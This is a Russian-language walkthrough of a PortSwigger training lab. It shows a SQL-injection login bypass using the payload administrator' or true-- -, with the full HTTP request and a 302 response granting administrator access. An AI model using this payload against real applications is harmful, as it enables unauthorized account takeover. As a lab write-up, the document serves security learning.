Эта лабораторная работа содержит уязвимость SQL injection в функции входа в систему Для решения лабораторной работы надо выполнить атаку с помощью SQL-инъекции, войдя в приложение под пользователем administrator.

https://0a1500d303f14c6281ea0218003c00ea.web-security-academy.net

Solution

Мне нужно обойти проверку пароля для пользователя adminstrator, поэтому сразу пойду на страницу login:

IMG

Уязвимым к инъекции может быть как поле логина, так и пароля.

Для начала опробую поле логина. Предположим, что запрос у нас выглядит следующим образом:

SELECT
	*
WHERE
	login = 'login' AND passwd = 'passwd'

В таком случае, мы можем обойти проверку пароля, если в качестве значения логина передадим administrator' or true-- -. Тогда у нас получится следующий запрос:

SELECT
	*
WHERE
	login = 'administrator' or true-- - AND passwd = 'passwd'
Пояснение Подставляя в login 'administrator' or true-- -, мы обрезаем проверку пароля для логина administrator.

Попробую передать это в форму:

POST /login HTTP/2
Host: 0a1500d303f14c6281ea0218003c00ea.web-security-academy.net
Cookie: session=1rcwplSRhqfHU2mo3IclkjPvk8kNhXnc
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:135.0) Gecko/20100101 Firefox/135.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: https://0a1500d303f14c6281ea0218003c00ea.web-security-academy.net/login
Content-Type: application/x-www-form-urlencoded
Content-Length: 88
Origin: https://0a1500d303f14c6281ea0218003c00ea.web-security-academy.net
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Priority: u=0, i
Te: trailers

csrf=Tcvn8SZebZyEp2evyWuhacbr521caP4L&username=+administator%27+or+true--+-&password=111

На что я получил ответ и меня пустило на страницу пользователя administrator:

HTTP/2 302 Found
Location: /my-account?id=administrator
Set-Cookie: session=7UteASMPdTQlDWDTbG7bUdDehqT1H6xx; Secure; HttpOnly; SameSite=None
X-Frame-Options: SAMEORIGIN
Content-Length: 0

IMG

Лаба пройдена:3 ☕